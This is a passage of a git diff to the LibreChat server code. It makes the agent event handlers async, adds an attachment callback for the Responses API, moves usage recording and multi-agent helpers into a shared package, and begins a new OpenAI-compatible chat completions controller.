* @param {Array} options.collectedUsage - The list of collected usage metadata.
* @param {string | null} [options.streamId] - The stream ID for resumable mode, or null for standard mode.
+ * @param {ToolExecuteOptions} [options.toolExecuteOptions] - Options for event-driven tool execution.
* @returns {Record} The default handlers.
* @throws {Error} If the request is not found.
*/
@@ -175,6 +132,7 @@ function getDefaultHandlers({
toolEndCallback,
collectedUsage,
streamId = null,
+ toolExecuteOptions = null,
}) {
if (!res || !aggregateContent) {
throw new Error(
@@ -184,7 +142,6 @@ function getDefaultHandlers({
const handlers = {
[GraphEvents.CHAT_MODEL_END]: new ModelEndHandler(collectedUsage),
[GraphEvents.TOOL_END]: new ToolEndHandler(toolEndCallback, logger),
- [GraphEvents.CHAT_MODEL_STREAM]: new ChatModelStreamHandler(),
[GraphEvents.ON_RUN_STEP]: {
/**
* Handle ON_RUN_STEP event.
@@ -192,18 +149,19 @@ function getDefaultHandlers({
* @param {StreamEventData} data - The event data.
* @param {GraphRunnableConfig['configurable']} [metadata] The runnable metadata.
*/
- handle: (event, data, metadata) => {
+ handle: async (event, data, metadata) => {
+ aggregateContent({ event, data });
if (data?.stepDetails.type === StepTypes.TOOL_CALLS) {
- emitEvent(res, streamId, { event, data });
+ await emitEvent(res, streamId, { event, data });
} else if (checkIfLastAgent(metadata?.last_agent_id, metadata?.langgraph_node)) {
- emitEvent(res, streamId, { event, data });
+ await emitEvent(res, streamId, { event, data });
} else if (!metadata?.hide_sequential_outputs) {
- emitEvent(res, streamId, { event, data });
+ await emitEvent(res, streamId, { event, data });
} else {
const agentName = metadata?.name ?? 'Agent';
const isToolCall = data?.stepDetails.type === StepTypes.TOOL_CALLS;
const action = isToolCall ? 'performing a task...' : 'thinking...';
- emitEvent(res, streamId, {
+ await emitEvent(res, streamId, {
event: 'on_agent_update',
data: {
runId: metadata?.run_id,
@@ -211,7 +169,6 @@ function getDefaultHandlers({
},
});
}
- aggregateContent({ event, data });
},
},
[GraphEvents.ON_RUN_STEP_DELTA]: {
@@ -221,15 +178,15 @@ function getDefaultHandlers({
* @param {StreamEventData} data - The event data.
* @param {GraphRunnableConfig['configurable']} [metadata] The runnable metadata.
*/
- handle: (event, data, metadata) => {
- if (data?.delta.type === StepTypes.TOOL_CALLS) {
- emitEvent(res, streamId, { event, data });
- } else if (checkIfLastAgent(metadata?.last_agent_id, metadata?.langgraph_node)) {
- emitEvent(res, streamId, { event, data });
- } else if (!metadata?.hide_sequential_outputs) {
- emitEvent(res, streamId, { event, data });
- }
+ handle: async (event, data, metadata) => {
aggregateContent({ event, data });
+ if (data?.delta.type === StepTypes.TOOL_CALLS) {
+ await emitEvent(res, streamId, { event, data });
+ } else if (checkIfLastAgent(metadata?.last_agent_id, metadata?.langgraph_node)) {
+ await emitEvent(res, streamId, { event, data });
+ } else if (!metadata?.hide_sequential_outputs) {
+ await emitEvent(res, streamId, { event, data });
+ }
},
},
[GraphEvents.ON_RUN_STEP_COMPLETED]: {
@@ -239,15 +196,15 @@ function getDefaultHandlers({
* @param {StreamEventData & { result: ToolEndData }} data - The event data.
* @param {GraphRunnableConfig['configurable']} [metadata] The runnable metadata.
*/
- handle: (event, data, metadata) => {
- if (data?.result != null) {
- emitEvent(res, streamId, { event, data });
- } else if (checkIfLastAgent(metadata?.last_agent_id, metadata?.langgraph_node)) {
- emitEvent(res, streamId, { event, data });
- } else if (!metadata?.hide_sequential_outputs) {
- emitEvent(res, streamId, { event, data });
- }
+ handle: async (event, data, metadata) => {
aggregateContent({ event, data });
+ if (data?.result != null) {
+ await emitEvent(res, streamId, { event, data });
+ } else if (checkIfLastAgent(metadata?.last_agent_id, metadata?.langgraph_node)) {
+ await emitEvent(res, streamId, { event, data });
+ } else if (!metadata?.hide_sequential_outputs) {
+ await emitEvent(res, streamId, { event, data });
+ }
},
},
[GraphEvents.ON_MESSAGE_DELTA]: {
@@ -257,13 +214,13 @@ function getDefaultHandlers({
* @param {StreamEventData} data - The event data.
* @param {GraphRunnableConfig['configurable']} [metadata] The runnable metadata.
*/
- handle: (event, data, metadata) => {
- if (checkIfLastAgent(metadata?.last_agent_id, metadata?.langgraph_node)) {
- emitEvent(res, streamId, { event, data });
- } else if (!metadata?.hide_sequential_outputs) {
- emitEvent(res, streamId, { event, data });
- }
+ handle: async (event, data, metadata) => {
aggregateContent({ event, data });
+ if (checkIfLastAgent(metadata?.last_agent_id, metadata?.langgraph_node)) {
+ await emitEvent(res, streamId, { event, data });
+ } else if (!metadata?.hide_sequential_outputs) {
+ await emitEvent(res, streamId, { event, data });
+ }
},
},
[GraphEvents.ON_REASONING_DELTA]: {
@@ -273,22 +230,27 @@ function getDefaultHandlers({
* @param {StreamEventData} data - The event data.
* @param {GraphRunnableConfig['configurable']} [metadata] The runnable metadata.
*/
- handle: (event, data, metadata) => {
- if (checkIfLastAgent(metadata?.last_agent_id, metadata?.langgraph_node)) {
- emitEvent(res, streamId, { event, data });
- } else if (!metadata?.hide_sequential_outputs) {
- emitEvent(res, streamId, { event, data });
- }
+ handle: async (event, data, metadata) => {
aggregateContent({ event, data });
+ if (checkIfLastAgent(metadata?.last_agent_id, metadata?.langgraph_node)) {
+ await emitEvent(res, streamId, { event, data });
+ } else if (!metadata?.hide_sequential_outputs) {
+ await emitEvent(res, streamId, { event, data });
+ }
},
},
};
+ if (toolExecuteOptions) {
+ handlers[GraphEvents.ON_TOOL_EXECUTE] = createToolExecuteHandler(toolExecuteOptions);
+ }
+
return handlers;
}
/**
* Helper to write attachment events either to res or to job emitter.
+ * Note: Attachments are not order-sensitive like deltas, so fire-and-forget is acceptable.
* @param {ServerResponse} res - The server response object
* @param {string | null} streamId - The stream ID for resumable mode, or null for standard mode
* @param {Object} attachment - The attachment data
@@ -441,10 +403,10 @@ function createToolEndCallback({ req, res, artifactPromises, streamId = null })
return;
}
- {
- if (output.name !== Tools.execute_code) {
- return;
- }
+ const isCodeTool =
+ output.name === Tools.execute_code || output.name === Constants.PROGRAMMATIC_TOOL_CALLING;
+ if (!isCodeTool) {
+ return;
}
if (!output.artifact.files) {
@@ -488,7 +450,226 @@ function createToolEndCallback({ req, res, artifactPromises, streamId = null })
};
}
+/**
+ * Helper to write attachment events in Open Responses format (librechat:attachment)
+ * @param {ServerResponse} res - The server response object
+ * @param {Object} tracker - The response tracker with sequence number
+ * @param {Object} attachment - The attachment data
+ * @param {Object} metadata - Additional metadata (messageId, conversationId)
+ */
+function writeResponsesAttachment(res, tracker, attachment, metadata) {
+ const sequenceNumber = tracker.nextSequence();
+ writeAttachmentEvent(res, sequenceNumber, attachment, {
+ messageId: metadata.run_id,
+ conversationId: metadata.thread_id,
+ });
+}
+
+/**
+ * Creates a tool end callback specifically for the Responses API.
+ * Emits attachments as `librechat:attachment` events per the Open Responses extension spec.
+ *
+ * @param {Object} params
+ * @param {ServerRequest} params.req
+ * @param {ServerResponse} params.res
+ * @param {Object} params.tracker - Response tracker with sequence number
+ * @param {Promise[]} params.artifactPromises
+ * @returns {ToolEndCallback} The tool end callback.
+ */
+function createResponsesToolEndCallback({ req, res, tracker, artifactPromises }) {
+ /**
+ * @type {ToolEndCallback}
+ */
+ return async (data, metadata) => {
+ const output = data?.output;
+ if (!output) {
+ return;
+ }
+
+ if (!output.artifact) {
+ return;
+ }
+
+ if (output.artifact[Tools.file_search]) {
+ artifactPromises.push(
+ (async () => {
+ const user = req.user;
+ const attachment = await processFileCitations({
+ user,
+ metadata,
+ appConfig: req.config,
+ toolArtifact: output.artifact,
+ toolCallId: output.tool_call_id,
+ });
+ if (!attachment) {
+ return null;
+ }
+ // For Responses API, emit attachment during streaming
+ if (res.headersSent && !res.writableEnded) {
+ writeResponsesAttachment(res, tracker, attachment, metadata);
+ }
+ return attachment;
+ })().catch((error) => {
+ logger.error('Error processing file citations:', error);
+ return null;
+ }),
+ );
+ }
+
+ if (output.artifact[Tools.ui_resources]) {
+ artifactPromises.push(
+ (async () => {
+ const attachment = {
+ type: Tools.ui_resources,
+ toolCallId: output.tool_call_id,
+ [Tools.ui_resources]: output.artifact[Tools.ui_resources].data,
+ };
+ // For Responses API, always emit attachment during streaming
+ if (res.headersSent && !res.writableEnded) {
+ writeResponsesAttachment(res, tracker, attachment, metadata);
+ }
+ return attachment;
+ })().catch((error) => {
+ logger.error('Error processing artifact content:', error);
+ return null;
+ }),
+ );
+ }
+
+ if (output.artifact[Tools.web_search]) {
+ artifactPromises.push(
+ (async () => {
+ const attachment = {
+ type: Tools.web_search,
+ toolCallId: output.tool_call_id,
+ [Tools.web_search]: { ...output.artifact[Tools.web_search] },
+ };
+ // For Responses API, always emit attachment during streaming
+ if (res.headersSent && !res.writableEnded) {
+ writeResponsesAttachment(res, tracker, attachment, metadata);
+ }
+ return attachment;
+ })().catch((error) => {
+ logger.error('Error processing artifact content:', error);
+ return null;
+ }),
+ );
+ }
+
+ if (output.artifact.content) {
+ /** @type {FormattedContent[]} */
+ const content = output.artifact.content;
+ for (let i = 0; i < content.length; i++) {
+ const part = content[i];
+ if (!part) {
+ continue;
+ }
+ if (part.type !== 'image_url') {
+ continue;
+ }
+ const { url } = part.image_url;
+ artifactPromises.push(
+ (async () => {
+ const filename = `${output.name}_img_${nanoid()}`;
+ const file_id = output.artifact.file_ids?.[i];
+ const file = await saveBase64Image(url, {
+ req,
+ file_id,
+ filename,
+ endpoint: metadata.provider,
+ context: FileContext.image_generation,
+ });
+ const fileMetadata = Object.assign(file, {
+ toolCallId: output.tool_call_id,
+ });
+
+ if (!fileMetadata) {
+ return null;
+ }
+
+ // For Responses API, emit attachment during streaming
+ if (res.headersSent && !res.writableEnded) {
+ const attachment = {
+ file_id: fileMetadata.file_id,
+ filename: fileMetadata.filename,
+ type: fileMetadata.type,
+ url: fileMetadata.filepath,
+ width: fileMetadata.width,
+ height: fileMetadata.height,
+ tool_call_id: output.tool_call_id,
+ };
+ writeResponsesAttachment(res, tracker, attachment, metadata);
+ }
+
+ return fileMetadata;
+ })().catch((error) => {
+ logger.error('Error processing artifact content:', error);
+ return null;
+ }),
+ );
+ }
+ return;
+ }
+
+ const isCodeTool =
+ output.name === Tools.execute_code || output.name === Constants.PROGRAMMATIC_TOOL_CALLING;
+ if (!isCodeTool) {
+ return;
+ }
+
+ if (!output.artifact.files) {
+ return;
+ }
+
+ for (const file of output.artifact.files) {
+ const { id, name } = file;
+ artifactPromises.push(
+ (async () => {
+ const result = await loadAuthValues({
+ userId: req.user.id,
+ authFields: [EnvVar.CODE_API_KEY],
+ });
+ const fileMetadata = await processCodeOutput({
+ req,
+ id,
+ name,
+ apiKey: result[EnvVar.CODE_API_KEY],
+ messageId: metadata.run_id,
+ toolCallId: output.tool_call_id,
+ conversationId: metadata.thread_id,
+ session_id: output.artifact.session_id,
+ });
+
+ if (!fileMetadata) {
+ return null;
+ }
+
+ // For Responses API, emit attachment during streaming
+ if (res.headersSent && !res.writableEnded) {
+ const attachment = {
+ file_id: fileMetadata.file_id,
+ filename: fileMetadata.filename,
+ type: fileMetadata.type,
+ url: fileMetadata.filepath,
+ width: fileMetadata.width,
+ height: fileMetadata.height,
+ tool_call_id: output.tool_call_id,
+ };
+ writeResponsesAttachment(res, tracker, attachment, metadata);
+ }
+
+ return fileMetadata;
+ })().catch((error) => {
+ logger.error('Error processing code output:', error);
+ return null;
+ }),
+ );
+ }
+ };
+}
+
module.exports = {
getDefaultHandlers,
createToolEndCallback,
+ createResponsesToolEndCallback,
};
diff --git a/api/server/controllers/agents/client.js b/api/server/controllers/agents/client.js
index 90e9640d5c..0ecd62b819 100644
--- a/api/server/controllers/agents/client.js
+++ b/api/server/controllers/agents/client.js
@@ -5,18 +5,24 @@ const {
createRun,
Tokenizer,
checkAccess,
- logAxiosError,
+ buildToolSet,
sanitizeTitle,
+ logToolError,
+ payloadParser,
resolveHeaders,
createSafeUser,
initializeAgent,
getBalanceConfig,
+ omitTitleOptions,
getProviderConfig,
memoryInstructions,
+ createTokenCounter,
applyContextToAgent,
+ recordCollectedUsage,
GenerationJobManager,
getTransactionsConfig,
createMemoryProcessor,
+ createMultiAgentMapper,
filterMalformedContentParts,
} = require('@librechat/api');
const {
@@ -24,9 +30,7 @@ const {
Providers,
TitleMethod,
formatMessage,
- labelContentByAgent,
formatAgentMessages,
- getTokenCountForMessage,
createMetadataAggregator,
} = require('@librechat/agents');
const {
@@ -38,11 +42,12 @@ const {
PermissionTypes,
isAgentsEndpoint,
isEphemeralAgentId,
- bedrockInputSchema,
removeNullishValues,
} = require('librechat-data-provider');
const { spendTokens, spendStructuredTokens } = require('~/models/spendTokens');
const { encodeAndFormat } = require('~/server/services/Files/images/encode');
+const { updateBalance, bulkInsertTransactions } = require('~/models');
+const { getMultiplier, getCacheMultiplier } = require('~/models/tx');
const { createContextHandlers } = require('~/app/clients/prompts');
const { getConvoFiles } = require('~/models/Conversation');
const BaseClient = require('~/app/clients/BaseClient');
@@ -51,183 +56,6 @@ const { loadAgent } = require('~/models/Agent');
const { getMCPManager } = require('~/config');
const db = require('~/models');
-const omitTitleOptions = new Set([
- 'stream',
- 'thinking',
- 'streaming',
- 'clientOptions',
- 'thinkingConfig',
- 'thinkingBudget',
- 'includeThoughts',
- 'maxOutputTokens',
- 'additionalModelRequestFields',
-]);
-
-/**
- * @param {ServerRequest} req
- * @param {Agent} agent
- * @param {string} endpoint
- */
-const payloadParser = ({ req, agent, endpoint }) => {
- if (isAgentsEndpoint(endpoint)) {
- return { model: undefined };
- } else if (endpoint === EModelEndpoint.bedrock) {
- const parsedValues = bedrockInputSchema.parse(agent.model_parameters);
- if (parsedValues.thinking == null) {
- parsedValues.thinking = false;
- }
- return parsedValues;
- }
- return req.body.endpointOption.model_parameters;
-};
-
-function createTokenCounter(encoding) {
- return function (message) {
- const countTokens = (text) => Tokenizer.getTokenCount(text, encoding);
- return getTokenCountForMessage(message, countTokens);
- };
-}
-
-function logToolError(graph, error, toolId) {
- logAxiosError({
- error,
- message: `[api/server/controllers/agents/client.js #chatCompletion] Tool Error "${toolId}"`,
- });
-}
-
-/** Regex pattern to match agent ID suffix (____N) */
-const AGENT_SUFFIX_PATTERN = /____(\d+)$/;
-
-/**
- * Finds the primary agent ID within a set of agent IDs.
- * Primary = no suffix (____N) or lowest suffix number.
- * @param {Set} agentIds
- * @returns {string | null}
- */
-function findPrimaryAgentId(agentIds) {
- let primaryAgentId = null;
- let lowestSuffixIndex = Infinity;
-
- for (const agentId of agentIds) {
- const suffixMatch = agentId.match(AGENT_SUFFIX_PATTERN);
- if (!suffixMatch) {
- return agentId;
- }
- const suffixIndex = parseInt(suffixMatch[1], 10);
- if (suffixIndex < lowestSuffixIndex) {
- lowestSuffixIndex = suffixIndex;
- primaryAgentId = agentId;
- }
- }
-
- return primaryAgentId;
-}
-
-/**
- * Creates a mapMethod for getMessagesForConversation that processes agent content.
- * - Strips agentId/groupId metadata from all content
- * - For parallel agents (addedConvo with groupId): filters each group to its primary agent
- * - For handoffs (agentId without groupId): keeps all content from all agents
- * - For multi-agent: applies agent labels to content
- *
- * The key distinction:
- * - Parallel execution (addedConvo): Parts have both agentId AND groupId
- * - Handoffs: Parts only have agentId, no groupId
- *
- * @param {Agent} primaryAgent - Primary agent configuration
- * @param {Map} [agentConfigs] - Additional agent configurations
- * @returns {(message: TMessage) => TMessage} Map method for processing messages
- */
-function createMultiAgentMapper(primaryAgent, agentConfigs) {
- const hasMultipleAgents = (primaryAgent.edges?.length ?? 0) > 0 || (agentConfigs?.size ?? 0) > 0;
-
- /** @type {Record | null} */
- let agentNames = null;
- if (hasMultipleAgents) {
- agentNames = { [primaryAgent.id]: primaryAgent.name || 'Assistant' };
- if (agentConfigs) {
- for (const [agentId, agentConfig] of agentConfigs.entries()) {
- agentNames[agentId] = agentConfig.name || agentConfig.id;
- }
- }
- }
-
- return (message) => {
- if (message.isCreatedByUser || !Array.isArray(message.content)) {
- return message;
- }
-
- // Check for metadata
- const hasAgentMetadata = message.content.some((part) => part?.agentId || part?.groupId != null);
- if (!hasAgentMetadata) {
- return message;
- }
-
- try {
- // Build a map of groupId -> Set of agentIds, to find primary per group
- /** @type {Map>} */
- const groupAgentMap = new Map();
-
- for (const part of message.content) {
- const groupId = part?.groupId;
- const agentId = part?.agentId;
- if (groupId != null && agentId) {
- if (!groupAgentMap.has(groupId)) {
- groupAgentMap.set(groupId, new Set());
- }
- groupAgentMap.get(groupId).add(agentId);
- }
- }
-
- // For each group, find the primary agent
- /** @type {Map} */
- const groupPrimaryMap = new Map();
- for (const [groupId, agentIds] of groupAgentMap) {
- const primary = findPrimaryAgentId(agentIds);
- if (primary) {
- groupPrimaryMap.set(groupId, primary);
- }
- }
-
- /** @type {Array} */
- const filteredContent = [];
- /** @type {Record} */
- const agentIdMap = {};
-
- for (const part of message.content) {
- const agentId = part?.agentId;
- const groupId = part?.groupId;
-
- // Filtering logic:
- // - No groupId (handoffs): always include
- // - Has groupId (parallel): only include if it's the primary for that group
- const isParallelPart = groupId != null;
- const groupPrimary = isParallelPart ? groupPrimaryMap.get(groupId) : null;
- const shouldInclude = !isParallelPart || !agentId || agentId === groupPrimary;
-
- if (shouldInclude) {
- const newIndex = filteredContent.length;
- const { agentId: _a, groupId: _g, ...cleanPart } = part;
- filteredContent.push(cleanPart);
- if (agentId && hasMultipleAgents) {
- agentIdMap[newIndex] = agentId;
- }
- }
- }
-
- const finalContent =
- Object.keys(agentIdMap).length > 0 && agentNames
- ? labelContentByAgent(filteredContent, agentIdMap, agentNames)
- : filteredContent;
-
- return { ...message, content: finalContent };
- } catch (error) {
- logger.error('[AgentClient] Error processing multi-agent message:', error);
- return message;
- }
- };
-}
-
class AgentClient extends BaseClient {
constructor(options = {}) {
super(null, options);
@@ -295,14 +123,9 @@ class AgentClient extends BaseClient {
checkVisionRequest() {}
getSaveOptions() {
- // TODO:
- // would need to be override settings; otherwise, model needs to be undefined
- // model: this.override.model,
- // instructions: this.override.instructions,
- // additional_instructions: this.override.additional_instructions,
let runOptions = {};
try {
- runOptions = payloadParser(this.options);
+ runOptions = payloadParser(this.options) ?? {};
} catch (error) {
logger.error(
'[api/server/controllers/agents/client.js #getSaveOptions] Error parsing options',
@@ -313,14 +136,14 @@ class AgentClient extends BaseClient {
return removeNullishValues(
Object.assign(
{
+ spec: this.options.spec,
+ iconURL: this.options.iconURL,
endpoint: this.options.endpoint,
agent_id: this.options.agent.id,
modelLabel: this.options.modelLabel,
- maxContextTokens: this.options.maxContextTokens,
resendFiles: this.options.resendFiles,
imageDetail: this.options.imageDetail,
- spec: this.options.spec,
- iconURL: this.options.iconURL,
+ maxContextTokens: this.maxContextTokens,
},
// TODO: PARSE OPTIONS BY PROVIDER, MAY CONTAIN SENSITIVE DATA
runOptions,
@@ -655,6 +478,7 @@ class AgentClient extends BaseClient {
updateFilesUsage: db.updateFilesUsage,
getUserKeyValues: db.getUserKeyValues,
getToolFilesByIds: db.getToolFilesByIds,
+ getCodeGeneratedFiles: db.getCodeGeneratedFiles,
},
);
@@ -803,82 +627,29 @@ class AgentClient extends BaseClient {
context = 'message',
collectedUsage = this.collectedUsage,
}) {
- if (!collectedUsage || !collectedUsage.length) {
- return;
- }
- // Use first entry's input_tokens as the base input (represents initial user message context)
- // Support both OpenAI format (input_token_details) and Anthropic format (cache_*_input_tokens)
- const firstUsage = collectedUsage[0];
- const input_tokens =
- (firstUsage?.input_tokens || 0) +
- (Number(firstUsage?.input_token_details?.cache_creation) ||
- Number(firstUsage?.cache_creation_input_tokens) ||
- 0) +
- (Number(firstUsage?.input_token_details?.cache_read) ||
- Number(firstUsage?.cache_read_input_tokens) ||
- 0);
-
- // Sum output_tokens directly from all entries - works for both sequential and parallel execution
- // This avoids the incremental calculation that produced negative values for parallel agents
- let total_output_tokens = 0;
-
- for (const usage of collectedUsage) {
- if (!usage) {
- continue;
- }
-
- // Support both OpenAI format (input_token_details) and Anthropic format (cache_*_input_tokens)
- const cache_creation =
- Number(usage.input_token_details?.cache_creation) ||
- Number(usage.cache_creation_input_tokens) ||
- 0;
- const cache_read =
- Number(usage.input_token_details?.cache_read) || Number(usage.cache_read_input_tokens) || 0;
-
- // Accumulate output tokens for the usage summary
- total_output_tokens += Number(usage.output_tokens) || 0;
-
- const txMetadata = {
+ const result = await recordCollectedUsage(
+ {
+ spendTokens,
+ spendStructuredTokens,
+ pricing: { getMultiplier, getCacheMultiplier },
+ bulkWriteOps: { insertMany: bulkInsertTransactions, updateBalance },
+ },
+ {
+ user: this.user ?? this.options.req.user?.id,
+ conversationId: this.conversationId,
+ collectedUsage,
+ model: model ?? this.model ?? this.options.agent.model_parameters.model,
context,
+ messageId: this.responseMessageId,
balance,
transactions,
- conversationId: this.conversationId,
- user: this.user ?? this.options.req.user?.id,
endpointTokenConfig: this.options.endpointTokenConfig,
- model: usage.model ?? model ?? this.model ?? this.options.agent.model_parameters.model,
- };
+ },
+ );
- if (cache_creation > 0 || cache_read > 0) {
- spendStructuredTokens(txMetadata, {
- promptTokens: {
- input: usage.input_tokens,
- write: cache_creation,
- read: cache_read,
- },
- completionTokens: usage.output_tokens,
- }).catch((err) => {
- logger.error(
- '[api/server/controllers/agents/client.js #recordCollectedUsage] Error spending structured tokens',
- err,
- );
- });
- continue;
- }
- spendTokens(txMetadata, {
- promptTokens: usage.input_tokens,
- completionTokens: usage.output_tokens,
- }).catch((err) => {
- logger.error(
- '[api/server/controllers/agents/client.js #recordCollectedUsage] Error spending tokens',
- err,
- );
- });
+ if (result) {
+ this.usage = result;
}
-
- this.usage = {
- input_tokens,
- output_tokens: total_output_tokens,
- };
}
/**
@@ -967,13 +738,13 @@ class AgentClient extends BaseClient {
},
user: createSafeUser(this.options.req.user),
},
- recursionLimit: agentsEConfig?.recursionLimit ?? 25,
+ recursionLimit: agentsEConfig?.recursionLimit ?? 50,
signal: abortController.signal,
streamMode: 'values',
version: 'v2',
};
- const toolSet = new Set((this.options.agent.tools ?? []).map((tool) => tool && tool.name));
+ const toolSet = buildToolSet(this.options.agent);
let { messages: initialMessages, indexTokenCountMap } = formatAgentMessages(
payload,
this.indexTokenCountMap,
@@ -1034,6 +805,7 @@ class AgentClient extends BaseClient {
run = await createRun({
agents,
+ messages,
indexTokenCountMap,
runId: this.responseMessageId,
signal: abortController.signal,
@@ -1069,9 +841,10 @@ class AgentClient extends BaseClient {
config.signal = null;
};
+ const hideSequentialOutputs = config.configurable.hide_sequential_outputs;
await runAgents(initialMessages);
/** @deprecated Agent Chain */
- if (config.configurable.hide_sequential_outputs) {
+ if (hideSequentialOutputs) {
this.contentParts = this.contentParts.filter((part, index) => {
// Include parts that are either:
// 1. At or after the finalContentStart index
@@ -1325,6 +1098,7 @@ class AgentClient extends BaseClient {
model: clientOptions.model,
balance: balanceConfig,
transactions: transactionsConfig,
+ messageId: this.responseMessageId,
}).catch((err) => {
logger.error(
'[api/server/controllers/agents/client.js #titleConvo] Error recording collected usage',
@@ -1363,6 +1137,7 @@ class AgentClient extends BaseClient {
model,
context,
balance,
+ messageId: this.responseMessageId,
conversationId: this.conversationId,
user: this.user ?? this.options.req.user?.id,
endpointTokenConfig: this.options.endpointTokenConfig,
@@ -1381,6 +1156,7 @@ class AgentClient extends BaseClient {
model,
balance,
context: 'reasoning',
+ messageId: this.responseMessageId,
conversationId: this.conversationId,
user: this.user ?? this.options.req.user?.id,
endpointTokenConfig: this.options.endpointTokenConfig,
@@ -1396,7 +1172,11 @@ class AgentClient extends BaseClient {
}
}
+ /** Anthropic Claude models use a distinct BPE tokenizer; all others default to o200k_base. */
getEncoding() {
+ if (this.model && this.model.toLowerCase().includes('claude')) {
+ return 'claude';
+ }
return 'o200k_base';
}
diff --git a/api/server/controllers/agents/client.test.js b/api/server/controllers/agents/client.test.js
index 9dd3567047..42481e1644 100644
--- a/api/server/controllers/agents/client.test.js
+++ b/api/server/controllers/agents/client.test.js
@@ -263,6 +263,7 @@ describe('AgentClient - titleConvo', () => {
transactions: {
enabled: true,
},
+ messageId: 'response-123',
});
});
diff --git a/api/server/controllers/agents/openai.js b/api/server/controllers/agents/openai.js
new file mode 100644
index 0000000000..e8561f15fe
--- /dev/null
+++ b/api/server/controllers/agents/openai.js
@@ -0,0 +1,713 @@
+const { nanoid } = require('nanoid');
+const { logger } = require('@librechat/data-schemas');
+const { Callback, ToolEndHandler, formatAgentMessages } = require('@librechat/agents');
+const { EModelEndpoint, ResourceType, PermissionBits } = require('librechat-data-provider');
+const {
+ writeSSE,
+ createRun,
+ createChunk,
+ buildToolSet,
+ sendFinalChunk,
+ createSafeUser,
+ validateRequest,
+ initializeAgent,
+ getBalanceConfig,
+ createErrorResponse,
+ recordCollectedUsage,
+ getTransactionsConfig,
+ createToolExecuteHandler,
+ buildNonStreamingResponse,
+ createOpenAIStreamTracker,
+ createOpenAIContentAggregator,
+ isChatCompletionValidationFailure,
+} = require('@librechat/api');
+const { loadAgentTools, loadToolsForExecution } = require('~/server/services/ToolService');
+const { createToolEndCallback } = require('~/server/controllers/agents/callbacks');
+const { findAccessibleResources } = require('~/server/services/PermissionService');
+const { spendTokens, spendStructuredTokens } = require('~/models/spendTokens');
+const { getMultiplier, getCacheMultiplier } = require('~/models/tx');
+const { getConvoFiles } = require('~/models/Conversation');
+const { getAgent, getAgents } = require('~/models/Agent');
+const db = require('~/models');
+
+/**
+ * Creates a tool loader function for the agent.
+ * @param {AbortSignal} signal - The abort signal
+ * @param {boolean} [definitionsOnly=true] - When true, returns only serializable
+ * tool definitions without creating full tool instances (for event-driven mode)
+ */
+function createToolLoader(signal, definitionsOnly = true) {
+ return async function loadTools({
+ req,
+ res,
+ tools,
+ model,
+ agentId,
+ provider,
+ tool_options,
+ tool_resources,
+ }) {
+ const agent = { id: agentId, tools, provider, model, tool_options };
+ try {
+ return await loadAgentTools({
+ req,
+ res,
+ agent,
+ signal,
+ tool_resources,
+ definitionsOnly,
+ streamId: null, // No resumable stream for OpenAI compat
+ });
+ } catch (error) {
+ logger.error('Error loading tools for agent ' + agentId, error);
+ }
+ };
+}
+
+/**
+ * Convert content part to internal format
+ * @param {Object} part - Content part
+ * @returns {Object} Converted part
+ */
+function convertContentPart(part) {
+ if (part.type === 'text') {
+ return { type: 'text', text: part.text };
+ }
+ if (part.type === 'image_url') {
+ return { type: 'image_url', image_url: part.image_url };
+ }
+ return part;
+}
+
+/**
+ * Convert OpenAI messages to internal format
+ * @param {Array} messages - OpenAI format messages
+ * @returns {Array} Internal format messages
+ */
+function convertMessages(messages) {
+ return messages.map((msg) => {
+ let content;
+ if (typeof msg.content === 'string') {
+ content = msg.content;
+ } else if (msg.content) {
+ content = msg.content.map(convertContentPart);
+ } else {
+ content = '';
+ }
+
+ return {
+ role: msg.role,
+ content,
+ ...(msg.name && { name: msg.name }),
+ ...(msg.tool_calls && { tool_calls: msg.tool_calls }),
+ ...(msg.tool_call_id && { tool_call_id: msg.tool_call_id }),
+ };
+ });
+}
+
+/**
+ * Send an error response in OpenAI format
+ */
+function sendErrorResponse(res, statusCode, message, type = 'invalid_request_error', code = null) {
+ res.status(statusCode).json(createErrorResponse(message, type, code));
+}
+
+/**
+ * OpenAI-compatible chat completions controller for agents.
+ *
+ * POST /v1/chat/completions
+ *
+ * Request format:
+ * {
+ * "model": "agent_id_here",
+ * "messages": [{"role": "user", "content": "Hello!"}],
+ * "stream": true,
+ * "conversation_id": "optional",
+ * "parent_message_id": "optional"
+ * }
+ */
+const OpenAIChatCompletionController = async (req, res) => {
+ const appConfig = req.config;
+ const requestStartTime = Date.now();
+
+ const validation = validateRequest(req.body);
+ if (isChatCompletionValidationFailure(validation)) {
+ return sendErrorResponse(res, 400, validation.error);
+ }
+
+ const request = validation.request;
+ const agentId = request.model;
+
+ // Look up the agent
+ const agent = await getAgent({ id: agentId });
+ if (!agent) {
+ return sendErrorResponse(
+ res,
+ 404,
+ `Agent not found: ${agentId}`,
+ 'invalid_request_error',
+ 'model_not_found',
+ );
+ }
+
+ const responseId = `chatcmpl-${nanoid()}`;
+ const conversationId = request.conversation_id ?? nanoid();
+ const parentMessageId = request.parent_message_id ?? null;
+ const created = Math.floor(Date.now() / 1000);
+
+ /** @type {import('@librechat/api').OpenAIResponseContext} — key must be `requestId` to match the type used by createChunk/buildNonStreamingResponse */
+ const context = {
+ created,
+ requestId: responseId,
+ model: agentId,
+ };
+
+ logger.debug(
+ `[OpenAI API] Response ${responseId} started for agent ${agentId}, stream: ${request.stream}`,
+ );
+
+ // Set up abort controller
+ const abortController = new AbortController();
+
+ // Handle client disconnect
+ req.on('close', () => {
+ if (!abortController.signal.aborted) {
+ abortController.abort();
+ logger.debug('[OpenAI API] Client disconnected, aborting');
+ }
+ });
+
+ try {
+ // Build allowed providers set
+ const allowedProviders = new Set(
+ appConfig?.endpoints?.[EModelEndpoint.agents]?.allowedProviders,
+ );
+
+ // Create tool loader
+ const loadTools = createToolLoader(abortController.signal);
+
+ // Initialize the agent first to check for disableStreaming
+ const endpointOption = {
+ endpoint: agent.provider,
+ model_parameters: agent.model_parameters ?? {},
+ };
+
+ const primaryConfig = await initializeAgent(
+ {
+ req,
+ res,
+ loadTools,
+ requestFiles: [],
+ conversationId,
+ parentMessageId,
+ agent,
+ endpointOption,
+ allowedProviders,
+ isInitialAgent: true,
+ },
+ {
+ getConvoFiles,
+ getFiles: db.getFiles,
+ getUserKey: db.getUserKey,
+ getMessages: db.getMessages,
+ updateFilesUsage: db.updateFilesUsage,
+ getUserKeyValues: db.getUserKeyValues,
+ getUserCodeFiles: db.getUserCodeFiles,
+ getToolFilesByIds: db.getToolFilesByIds,
+ getCodeGeneratedFiles: db.getCodeGeneratedFiles,
+ },
+ );
+
+ // Determine if streaming is enabled (check both request and agent config)
+ const streamingDisabled = !!primaryConfig.model_parameters?.disableStreaming;
